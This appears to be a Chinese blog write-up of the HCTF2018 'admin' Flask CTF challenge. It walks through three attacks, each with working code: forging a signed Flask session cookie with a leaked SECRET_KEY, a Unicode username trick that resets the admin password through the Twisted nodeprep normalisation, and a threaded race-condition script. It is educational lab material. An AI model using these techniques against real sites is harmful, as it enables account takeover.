美文网首页
HCTF2018-admin

HCTF2018-admin

作者: Miracle778 | 来源:发表于2019-06-15 14:50 被阅读0次

    title: HCTF2018-admin
    date: 2019-06-02 19:52:03
    tags:
    - HCTF2018
    - CTF复现
    - flask session伪造
    categories:
    - CTF
    - HCTF2018


    HCTF2018 Web题admin复现,把三种解法都试了下


    前言

    在github上找到一些CTF web题的docker,准备拿来复现学习学习。专门搞了个腾讯云学生机搭docker。
    题目github地址:
    https://github.com/m0xiaoxi/CTF_Web_docker
    https://github.com/CTFTraining/CTFTraining

    这题是HCTF2018里的admin


    审题

    docker搭好后,访问一下题目,理一下系统结构,如下图。

    image
    简单测试一圈下来,发现有login、register功能,随便注册一个账号然后登录,发现登录上去后有post、change password、logout功能。
    image
    然后在index页面源码发现提示,you are not admin,估计题目是让我们登录成admin,然后出flag,于是想到change password功能,可能可以通过改密码功能的漏洞改掉admin密码,然后以admin登录。
    image
    于是跳到change password页面,看看有没有进一步的发现,也是在网页源代码处发现了提示,这个提示直接把网站项目的github地址给了出来。
    image
    于是顺藤摸瓜,去github上找一下网站源码,然后进行代码审计。github地址:https://github.com/woadsl1234/hctf_flask
    代码结构简单如下图
    image
    是一个flask项目,那就直接先奔路由去看一下,打开route.py,看一下index的注册函数代码
    @app.route('/')
    @app.route('/index')
    def index():
        return render_template('index.html', title = 'hctf')
    

    发现index注册函数没做什么处理,直接返回index.html渲染模版,于是我们看一下templates/index.html代码

    {% include('header.html') %}
    {% if current_user.is_authenticated %}
    <h1 class="nav">Hello {{ session['name'] }}</h1>
    {% endif %}
    {% if current_user.is_authenticated and session['name'] == 'admin' %}
    <h1 class="nav">hctf{xxxxxxxxx}</h1>
    {% endif %}
    <!-- you are not admin -->
    <h1 class="nav">Welcome to hctf</h1>
    
    {% include('footer.html') %}
    

    发现真的是要登录成admin才能得到flag。于是继续看向route.py文件,看看login和change password的注册函数处理代码是怎么写的。route.py部分函数代码如下

    @app.route('/register', methods = ['GET', 'POST'])
    def register():
    
        if current_user.is_authenticated:
            return redirect(url_for('index'))
    
        form = RegisterForm()
        if request.method == 'POST':
            name = strlower(form.username.data)
            if session.get('image').lower() != form.verify_code.data.lower():
                flash('Wrong verify code.')
                return render_template('register.html', title = 'register', form=form)
            if User.query.filter_by(username = name).first():
                flash('The username has been registered')
                return redirect(url_for('register'))
            user = User(username=name)
            user.set_password(form.password.data)
            db.session.add(user)
            db.session.commit()
            flash('register successful')
            return redirect(url_for('login'))
        return render_template('register.html', title = 'register', form = form)
    
    @app.route('/login', methods = ['GET', 'POST'])
    def login():
        if current_user.is_authenticated:
            return redirect(url_for('index'))
    
        form = LoginForm()
        if request.method == 'POST':
            name = strlower(form.username.data)
            session['name'] = name
            user = User.query.filter_by(username=name).first()
            if user is None or not user.check_password(form.password.data):
                flash('Invalid username or password')
                return redirect(url_for('login'))
            login_user(user, remember=form.remember_me.data)
            return redirect(url_for('index'))
        return render_template('login.html', title = 'login', form = form)
    
    @app.route('/logout')
    def logout():
        logout_user()
        return redirect('/index')
    
    @app.route('/change', methods = ['GET', 'POST'])
    def change():
        if not current_user.is_authenticated:
            return redirect(url_for('login'))
        form = NewpasswordForm()
        if request.method == 'POST':
            name = strlower(session['name'])
            user = User.query.filter_by(username=name).first()
            user.set_password(form.newpassword.data)
            db.session.commit()
            flash('change successful')
            return redirect(url_for('index'))
        return render_template('change.html', title = 'change', form = form)
    

    接下来就进入代码审计,出flag环节了,下面就把三种解法分别讲下。

    解法一 —— flask session 伪造

    flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
    具体参考:https://www.leavesongs.com/PENETRATION/client-session-security.html

    我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY,在github源码里找找,可以在config.py里发现下面代码

    import os
    
    class Config(object):
        SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
        SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
        SQLALCHEMY_TRACK_MODIFICATIONS = True
    

    估计ckj123就是SECRET_KEY,所以session伪造这条路可行,于是到github上面找找看有没有flask session加密的脚本。

    image

    把脚本down下来,然后执行,脚本代码如下。flask_session_manager.py

    """ Flask Session Cookie Decoder/Encoder """
    __author__ = 'Wilson Sumanang, Alexandre ZANNI'
    
    # standard imports
    import sys
    import zlib
    from itsdangerous import base64_decode
    import ast
    
    # Abstract Base Classes (PEP 3119)
    if sys.version_info[0] < 3: # < 3.0
        raise Exception('Must be using at least Python 3')
    elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
        from abc import ABCMeta, abstractmethod
    else: # > 3.4
        from abc import ABC, abstractmethod
    
    # Lib for argument parsing
    import argparse
    
    # external Imports
    from flask.sessions import SecureCookieSessionInterface
    
    class MockApp(object):
    
        def __init__(self, secret_key):
            self.secret_key = secret_key
    
    
    if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
        class FSCM(metaclass=ABCMeta):
            def encode(secret_key, session_cookie_structure):
                """ Encode a Flask session cookie """
                try:
                    app = MockApp(secret_key)
    
                    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
    
                    return s.dumps(session_cookie_structure)
                except Exception as e:
                    return "[Encoding error] {}".format(e)
                    raise e
    
    
            def decode(session_cookie_value, secret_key=None):
                """ Decode a Flask cookie  """
                try:
                    if(secret_key==None):
                        compressed = False
                        payload = session_cookie_value
    
                        if payload.startswith('.'):
                            compressed = True
                            payload = payload[1:]
    
                        data = payload.split(".")[0]
    
                        data = base64_decode(data)
                        if compressed:
                            data = zlib.decompress(data)
    
                        return data
                    else:
                        app = MockApp(secret_key)
    
                        si = SecureCookieSessionInterface()
                        s = si.get_signing_serializer(app)
    
                        return s.loads(session_cookie_value)
                except Exception as e:
                    return "[Decoding error] {}".format(e)
                    raise e
    else: # > 3.4
        class FSCM(ABC):
            def encode(secret_key, session_cookie_structure):
                """ Encode a Flask session cookie """
                try:
                    app = MockApp(secret_key)
    
                    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
    
                    return s.dumps(session_cookie_structure)
                except Exception as e:
                    return "[Encoding error] {}".format(e)
                    raise e
    
    
            def decode(session_cookie_value, secret_key=None):
                """ Decode a Flask cookie  """
                try:
                    if(secret_key==None):
                        compressed = False
                        payload = session_cookie_value
    
                        if payload.startswith('.'):
                            compressed = True
                            payload = payload[1:]
    
                        data = payload.split(".")[0]
    
                        data = base64_decode(data)
                        if compressed:
                            data = zlib.decompress(data)
    
                        return data
                    else:
                        app = MockApp(secret_key)
    
                        si = SecureCookieSessionInterface()
                        s = si.get_signing_serializer(app)
    
                        return s.loads(session_cookie_value)
                except Exception as e:
                    return "[Decoding error] {}".format(e)
                    raise e
    
    
    if __name__ == "__main__":
        # Args are only relevant for __main__ usage
        
        ## Description for help
        parser = argparse.ArgumentParser(
                    description='Flask Session Cookie Decoder/Encoder',
                    epilog="Author : Wilson Sumanang, Alexandre ZANNI")
    
        ## prepare sub commands
        subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
    
        ## create the parser for the encode command
        parser_encode = subparsers.add_parser('encode', help='encode')
        parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                    help='Secret key', required=True)
        parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                    help='Session cookie structure', required=True)
    
        ## create the parser for the decode command
        parser_decode = subparsers.add_parser('decode', help='decode')
        parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                    help='Secret key', required=False)
        parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                    help='Session cookie value', required=True)
    
        ## get args
        args = parser.parse_args()
    
        ## find the option chosen
        if(args.subcommand == 'encode'):
            if(args.secret_key is not None and args.cookie_structure is not None):
                print(FSCM.encode(args.secret_key, args.cookie_structure))
        elif(args.subcommand == 'decode'):
            if(args.secret_key is not None and args.cookie_value is not None):
                print(FSCM.decode(args.cookie_value,args.secret_key))
            elif(args.cookie_value is not None):
                print(FSCM.decode(args.cookie_value))
    

    脚本有解密、加密两种功能,具体用法如下
    解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
    加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

    解密功能演示如下,把我们登录成功页面的cookie的session复制下来,.eJw9kE-LwjAUxL_K8s4e0j_iInjYJVoqvISWtJJciltrmzRxoSp1K373zbrgbWDe-zEzd6iOQ3PuYHkZrs0MKn2A5R3evmAJiuZOmvWIorPosoiJUiMtezmlN2aYlVNBGE3nXKQToxlhpiAqKX7QbA2ag5GiM5y2AROSYIgB2xU3KbJIOtVh8qeLkdE6lqKeM7HVuFvHXFj_s_b83Miw1Mp01t8RpG0kd9nE6UZzWoQYMp9l2ythnRTpCh4zqM_Dsbp8983pVYFTjDHMPQZHaTZGJcrrT4eiHeXUEjS9r9WHPCktTm3g40bsY_XEabdvmxcpNxgfxn_ntHfeAKeHfW2bxeIdZnA9N8NzPAgIPH4BSzZuKg.XPPM0g.R-SQaZ-c92TXQB_37gFu8JabVUs,然后放进脚本参数位置,如下图。

    image

    得到解密后的session格式如下
    {'_fresh': True, '_id': b'd4fb1018e2d755b05dc2163ec54429923444654de222c27ca8c8855643c55e1a47bfa0e1a50478a7952b1a899c81164ccebf8ea54087ad381b8563cb02de9fa2', 'csrf_token': b'8383dbf30b1cdfbf0f180c842975968ee3858874', 'image': b'F38w', 'name': 'miracle778', 'user_id': '10'}

    把其中的name项的值改为admin后,再作为-t的参数进行session加密,如下图


    image

    得到签名后的admin session
    .eJw9kE-LwjAQxb_KMmcP6R8vgoddoqXCJLSkleQiamubaeNCVepW_O6bdcHbgzfz4733gN1pqC8tLK7DrZ7BzlaweMDHARZgeO40rUZUbY8ui4QqLfKy01N6FyR6PRVM8HQuVToJnjFBBTNJ8YO0IaSKtGpJ8iYQSjMMMRDb4q5VFmlnWkz-dDEKfoy1Os6F2ljcrmKpev-z8vycdFhaQ23v7xjyJtLbbJJ8bSUvQgyFz7LpjOqdVukSnjM4XobT7vrd1ed3BckxxjD3GBw1rckkxusvh6oZ9dQwpM7X6kKZlD1OTeDjRuJz-cJZt2_qNyknjKvx3znvnTdgXzl7hhncLvXw2g0CBs9fJX1ssA.XPPSPQ.UZ-MG3ZUrN4nJzOXIsfjGdeiyLc

    用这个替换掉index页面的cookie值,即可成功伪造session,"变成admin",得到flag


    image

    关于这个脚本,其实在运行的时候,我发现了点问题,就是当你解密的时候,要用到 -s -c两个参数,linux下,可以用'"包围,而windows下只能用",否则会报错。然后加密的话,windows能够生成加密后的session,但是用它来替换掉index页面的session的话不起作用(亲测),一开始我在windows下面试的,结果一致出不来flag,后面突然想到用linux试一下,才发现这个问题(2333)。然后每次加密生成的session是不一样的,猜测应该是里面加入了时间戳信息。

    然后其实加密的时候 -t参数没必要写这么长,我们可以看到index.html里代码是,只要session['name']==admin即可,所以我们可以用
    python flask_session_manager.py encode -s 'ckj123' -t "{'name':'admin','user_id':'10'}"
    生成session,eyJfZnJlc2giOmZhbHNlLCJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoiMTAifQ.XPPVVw.PEoVwVpFka6CBxToJEUY2s7ydLE
    也能得到flag。


    解法二 —— Unicode欺骗

    这个解法好像才是这个题目想要考查的点,我们可以发现,不管是login、register还是change页面,只要是关于session['name']的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower,这里重写了一个,可能有点猫腻,于是找到strlower函数的定义

    def strlower(username):
        username = nodeprep.prepare(username)
        return username
    

    这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2),版本差距这么大,估计是存在什么漏洞,于是搜索一下nodeprep.prepare,找到一篇unicode安全的文章,https://paper.tuisec.win/detail/a9ad1440249d95b

    这里原理就是利用nodeprep.prepare函数会将unicode字符转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a
    所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。

    image
    我们发现在改密码函数代码里,也用到了nodeprep.prepare函数,也就是说,我们在这里改密码的话,先会把username改为admin,从而改掉admin的密码。
    image

    然后用admin和改的密码的登录,即可获取flag。

    image

    解法三 —— 条件竞争

    仔细观察源码,可以发现login函数和change函数都在没有完全check身份的情况下,执行了session有关的赋值


    image

    我们可以这样设想,一个进程以正常账号一直依次进行登录、改密码操作,另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时,进程2进行到登录操作,这个时候进程1需要从session中取出name,而进程2此时把session['name']改成了admin。

    所以就可以编写脚本进行条件竞争,条件竞争结束的标志为进程2登录操作成功,即重定向到/index

    不过没有跑出来,可能是买的学生机性能不行,脚本跑的时候抛出拒绝连接、连接失败等异常。没跑出来,但是思路应该是正确的。下面就把代码贴下吧,这个代码也是参考来了,就那几步,可能代码也不行,导致没跑出来。

    import threading
    import requests
    import time
    
    def login(s,username,password):
        data = {
            'username':username,
            'password':password,
            'submit':''
        }
        r  = s.post('http://13x.xx7.xx.xxx:9999/login',data=data)
        return r
    
    def logout(s):
        s.get('http://13x.xx7.xx.xxx:9999/logout')
    
    def change_pwd(s,newpass):
        data = {
            'newpassword':newpass
        }
        s.post('http://13x.xx7.xx.xxx:9999/change',data=data)
    
    def func1(s):
        try:
            login(s,'Miracle778','Miracle778')
            change_pwd(s,'Miracle778')
        except Exception:
            pass
    
    def func2(s):
        try:
            logout(s)
            r = login(s,'admin','Miracle778')
            if '<a href="/index">/index</a>' in r.text:
                print(r.text)
                exit(0)
        except Exception:
            pass
    
    for i in range(10000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1,args=(s,))
        t2 = threading.Thread(target=func2,args=(s,))
        t2.start()
        t1.start()
    

    小结

    这道题三种解法,学到东西挺多的,以后要多多复现经典题目2333~


    参考

    https://www.anquanke.com/post/id/164086#h3-13

    相关文章

      网友评论

          本文标题:HCTF2018-admin

          本文链接:https://www.haomeiwen.com/subject/jasbfctx.html